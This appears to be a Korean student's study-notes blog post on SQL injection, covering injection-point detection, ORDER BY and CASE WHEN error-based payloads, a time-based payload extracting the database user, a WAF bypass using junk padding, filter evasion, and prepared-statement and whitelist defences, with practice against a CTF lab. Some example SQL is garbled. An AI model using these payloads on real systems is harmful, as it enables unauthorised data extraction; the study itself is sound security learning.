본문 바로가기

개념정리

8주차 SQL INJECTION POINT와 대응방법 / ORDER BY ERROR / CASE WHEN 

SQL INJECTION POINT와 대응방법 / ORDER BY ERROR / CASE WHEN 


 
SQL INJECTION POINT
- DB에게 SQL 질의문을 사용하는 곳에 모두 사용된다 DB의 DATA를 가져오거나 저장하는 곳
- COOKIE, HTTP 요청 HEADET
- COLUMN 
- ORDER BY 절
- ORDER BY 절에서 가장 많이 이용된다.
EX)
-> SQL 구문과 연결된 파라미터 (파라미터는 URL의?뒤부터 나온다 이를 조작할 수 있다.)
-> SQL 구문과 연결된 데이터
-> 입력이 가능한 곳
-> 로그인
-> SQL 구문이 연결된 사용자 입력 칸
 

 


 
SQL INJECTION POINT 찾기
1. SELECT을 프록시로 데이터를 변조 시킬수 있는가
2. 참조건과 거짓조건의 출력이 다른가
3. 셀렉트문 에러조건의 참조건과 거짓조건의 에러유무가 있는가
- BURF SUITE에 REQUEST 값의 링크에 데이터 값이 들어가는지 확인
- BURF SUITE에 헤더와 파라미터를 분석해서 확인!!
- 그냥 입력값과 참의 조건이 들어가는 결과가 같다면 SQL 질의를 사용 할 수 있다 
EX) 

where user_id like '%__%' and '1'='1'
where user_id like '%nor%' and '1'='1'
where user_id like '%nor%' and ='1%='1%' and '1'='1'

-> where user_id like '%__%' and '1'='1' 일때

    -> nor 입력값과 nor%' and '1%'='1 입력값의 결과가 같은 것
- 그 후 참인 조건과 거짓 조건도 비교한다
- 참과 거짓 조건이 같을때는 참과 거짓의 조건값으로 에러가 나는지 아닌지를 이용해서 그 값이 다르면 인젝션한다.

 user = aa' and (에러조건!!) and '1'='1
user = aa' and (select 1 union select 2 where (1=1)) and '1'='1 에러남 
user = aa' and (select 1 union select 2 where (1=2)) and '1'='1 에러 안남

user = aa' and (select 1 union select 2 where (포맷참거짓)) and '1'='1


-> user = aa' and (에러조건!!) and '1'='1
    -> user = aa' and (select 1 union select 2 where (1=1)) and '1'='1 에러남 
    -> user = aa' and (select 1 union select 2 where (1=2)) and '1'='1 에러 안남

    -> 즉 user = aa' and (select 1 union select 2 where (포맷참거짓)) and '1'='1

 

boardRead.php?boardIdx=65 

select where idx= ----- / select where idx = '------'

idx=65 and 1=1 
idx=65' and '1'='1 
idx=64 + 1

-> boardRead.php?boardIdx=65 

-> select where idx= ----- / select where idx = '------'

        -> 예상쿼리

            -> 65 and 1=1 / 65' and '1'='1 / 64 + 1(문자열로 인식되어서 인젝션 안될 수 있다.)

                 -> 예상 입력값

                 -> 입력값과 원래값이 같으면 Injection Point 

                 -> 어떤게 Injection 포인트인지 필터링되는 것이 무엇인지 확인한다

                 -> 만약 공백이 필터링 되면 주석우회하거나 괄호우회 한다 [65 and 1=1]= [65/**/ and/**/1=1] =[65and(1=1)]

                 -> and가 필터링되면 And등의 대소문자를 변경해서 입력해보기도 한다

 

sotingAd=,(case+when+ascii(substr((select+user+from+dual),1,1))=0+then+1+else+(1/0)+end)

-> sotingAd=,(case+when+ascii(substr((select+user+from+dual),1,1))=0+then+1+else+(1/0)+end)

    -> 이름을 보니 정렬이구나!! ORDER BY절이 들어가겠는데~

    -> 컴마가 있네 order by title 의 desc/asc-> 자리에 들어가는 곳에 있겠구나

    -> 앞에있는 문이 참이면 1을 출력하고 아니면 1/0로 에러를 유발하겠구나

    + 1/0은 ORACLE에서 사용, MYSQLD 에서는 문법 오류가 발생한다.

 

 page=1&board_id=&sorting=A.REG_DT&sotingAd=ASC;if+substring((select%20user_name()),1,1)=%27a%27+waitfor+delay+%270:0:1%27&startDt=&endDt=&keyword=

-> page=1&board_id=&sorting=A.REG_DT&sotingAd=ASC;if+substring((select%20user_name()),1,1)

    =%27a%27+waitfor+delay+%270:0:1%27&startDt=&endDt=&keyword=

    -> waitfor delay 가 있네 time based sqli를 사용하는구나

 

+TIME BASED SQL INJECTION

   - 서버에 sleep을 주는 것으로 참 거짓을 확인한다 서버에 오류날 가능성이 있다


 

 

WAF

- WALL APLICATION FIREWALL

- 방화벽

- 페이로드 파라미터에 공격패턴이 들어오면 막아준다

- SQL 차단

 

SQL INJECTION POINT WAF우회 

- 쿼리 입력값전에 많은 JUNK DATA를 입력해서 WAF에 과부하를 넣는다

- WAF는 DDOS를 방지하기위해 부하를줄정도의 많은 데이터는 그냥 넘긴다.

EX)

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&s=test' and '1'='1

-> 많은양의아무값&입력할곳=입력값 

-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&s=test' and '1'='1  

 

 

 

 


ORDER BY ERROR

select문 order by 인덱스값/컬럼값 union select 인덱스/컬럼값 when where 참값/거짓값


- select문 order by 인덱스값/컬럼값 union select 인덱스/컬럼값 when where 참값/거짓값
- 한 SELECT 문에 여러 ROW값이 출력되면 오류가 발생한다
EX)

 (select * from table 1 union select 2 when where(1=1))


-> (select * from table 1 union select 2 when where(1=1))
    -> where 문이 참이므로 첫번째 select 1 문과 두번째 select 2문이 동시에 실행되므로 오류가 난다

(select * from table 1 union select 2 when where(1=2))


-> (select * from table 1 union select 2 when where(1=2))
    -> where 문이 거짓이므로 두번째 select 2문이 실행자체가 안되고 첫번째 select 1문만 실행되므로 오류가 나지 않는다.

sort = 1 union select 2 when where(1=1)
sort = 1 union select 2 when where(1=2)


-> sort = 1 union select 2 when where(1=1)
-> sort = 1 union select 2 when where(1=2)
    -> 이런느낌으로 order by에 사용되는 값에 넣는다.
 

 

 


CASE WHEN

select * from table order by case when 참거짓 then 참일때결과 else 거짓일때결과 end


- case when 참조건 then 참일때결과 else 거짓일때결과 end
- 참일때와 거짓일때의 결과의 조건을 다르게 문자열로 출력한다. 
- order by 절에 값을 넣고 싶을때 사용한다.
EX)

case when (1=1) then 1 else 2 end


-> case when (1=1) then 1 else 2 end
    -> 참일때 1나옴
    -> 거짓일때 2 나옴

sort = case when (1=1) then then username else title end


-> sort = case when (1=1) then then username else title end
    -> 참일때는 username으로 정렬
    -> 거짓일때는 title로 정렬
 


 
CASE WHEN SELECT

case when 참거짓포맷 then 참일때결과 else 에러나는select문 end


- case when 참조건 then 참일때결과 else 에러나는select문 end
- order by 절에 select문을 사용해서 오류를 문자열로 출력하고싶을때 사용한다.
- 결과값에 select 문을 넣는다.
EX) 
-> case when (1=2) then 1 else (select 1 union select 2) end 
    -> 두개의 ROW값이 한줄에 출력 되므로 오류 발생 오류 출력 

-> case when (포맷) then select 1 else (select 1 union select 2)
    -> sort = case when (포맷) then select 1 else (select 1 union select 2)
    -> 포맷값이 참이면 오류출력되지 않고 포맷값이 거짓이면 오류가 출력됨을 이용한다


 
 
SQL INJECTION 대응방법
- PREPARED STATEMENT
- WHITE/BLACK LIST FILTERING
 


 
PREPARED STATEMENT

select문 '입력값=?'


- select문 '입력값=?'
- select문의 입력값부분에 ?를 넣고 미리 컴파일 시켜놓는다.
- select문은 database에 들어가 컴파일되고 기계어가되고 그 결과를 받는 것
- select문을 미리 컴파일 해두면 select문의 변형이 불가능해 입력값이 모두 문자열로 들어간다.
- 원천적으로 select 문을 모두 막는 방법
- 데이터 처리속도도 빨라진다.
 
 
PREPARED STATEMENT 이용하지 못할 때
- select문의 오류 select문의 입력값에 ?가 들어가지 않을경우
- order by 절
- table 이름, column 이름이 입력되는 곳
- 이때는 white/black list filtering을 이용한다
 
WHITE/BLACK LIST FILTERING
- 단어를 필터링
- WHITE -> 특정 단어만 사용할 수 있게 하는 것
- BLACK -> 특정 단어를 사용할 수 없게 하는 것
EX)

     if( sort == 'title') {
         }elief sort == 'author')
        else 
        sort = 'title';
    }


-> sort 값이 title이라고 정확하게 입력될 때만 sort값이 title이 된다.
 


SQL INJECTION POINT 찾기 실습

 

프록시로 값을 변조해서 넣을 때 띄어쓰기는 +로 대체해서 사용한다


http://ctf.segfaulthub.com:7777/findSQLi_1/

 

Main Page

Welcome!! Login문의 게시판

ctf.segfaulthub.com:7777

 
1. SELECT문이 데이터를 변조 시킬수 있는가
마이페이지의 아이디넣는 값을 변조 할 수 있다.
COOKIE 값의 user를 변조되어 출력된다.
user=ac
-> ac
-> 여기서 ac는 데이터에 존재하는 값
 
2. 참조건과 거짓조건이 다른가
user=ac' and '1'='1
pw=1 입력
-> user=ac' and '1'='1 -> aaaa의 비번 1로 변조됨
user=ac' and '1'='2
pw=2 입력
-> user=ac' and '1'='2 -> aaaa의 비번 2로 변조됨 왜임?
 
참조건과 거짓조건의 결과가 같다
거짓일때는 데이터가 변조되면 안되는데..
이럴때는 3번으로 
 
3. 참조건과 거짓조건의 에러유무가 다른가
-> user = ac' and (에러조건!!) and '1'='1
    -> user = ac' and (select 1 union select 2 where(1=1)) and '1'='1 에러 안남
    -> user = ac' and (select 1 union select 2 where(1=2)) and '1'='2 에러 안남
안되네..

 


 
http://ctf.segfaulthub.com:7777/findSQLi_2/

 

Main Page

Welcome!! Login문의 게시판

ctf.segfaulthub.com:7777

 
 
1. SELECT문이 데이터를 변조 시킬수 있는가

GET /findSQLi_2/notice_read.php?id=254'+and+'1'='1&view=1 HTTP/1.1

GET /findSQLi_2/notice_read.php?id=254' and '1'='1&view=1 HTTP/1.1

 

 

option_val=username&board_result=&board_search=%F0%9F%94%8D&date_from=2023-12-20'+and+'1'='1&date_to=

date_from 값을 변조시킨


http://ctf.segfaulthub.com:7777/findSQLi_3/

 

Main Page

Welcome!! Login문의 게시판

ctf.segfaulthub.com:7777

 
 
1. SELECT문이 데이터를 변조 시킬수 있는가
a1


id=a1'+and+'1'='1&info=&pw=b

id=a1'+and+'1'='2&info=&pw=b

 

 
 
 
 
 
-------------------------
 
 
 
+ sleep은 실무에서는 잘 안쓴다고 한다. 왜일까?
=============